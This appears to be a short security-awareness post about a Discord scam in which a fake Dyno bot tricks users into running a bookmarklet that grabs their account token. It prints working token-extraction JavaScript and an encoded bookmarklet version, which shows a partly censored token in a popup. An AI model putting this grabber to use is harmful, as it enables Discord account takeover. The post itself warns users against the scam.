Brilliant Method, Get compromised without giving credentials by dragging in bookmark | Dyno Premium Custom Embed misused to verify on a fake dyno domain by u/Meister-9667, we can see that a faked version of the popular Discord bot Dyno is used to trick users into adding the bookmarklet to their bookmarks and pressing it as a way to identify themselves on the server.
What happens here is that the user is unknowingly giving the attacker their user token.
Here below you can see a simple version of a token grabber that makes a popup on the screen with the two last parts of the token censored.
let token;
webpackChunkdiscord_app.push([
[Math.random()],
{},
r => {
token = Object.values(r.c)
.find(m => m.exports && m.exports.default && m.exports.default.getToken !== void 0)
.exports.default.getToken();
},
]);
alert(`${token.split(".")[0]}.██.███████`); // parts of the token is censored
But we can convert the following code to a bookmarklet to test it out. Here below is the above code in a bookmarklet-friendly syntax. Now we can add this to our browser and press it on the Discord website and boom you lost access to your account.
javascript:(function()%7Blet%20token%3BwebpackChunkdiscord_app.push(%5B%5BMath.random()%5D%2C%7B%7D%2Cr%20%3D%3E%20%7Btoken%20%3D%20Object.values(r.c).find(m%20%3D%3E%20m.exports%20%26%26%20m.exports.default%20%26%26%20m.exports.default.getToken%20!%3D%3D%20void%200).exports.default.getToken()%3B%7D%2C%5D)%3Balert(%60%24%7Btoken.split(%22.%22)%5B0%5D%7D.%E2%96%88%E2%96%88.%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%E2%96%88%60)%7D)()
Simple, don't put bookmarks you don't trust. If a bot offers this as a way of verification you should imminently be suspicious and conclude that it's most likely a way to scam you.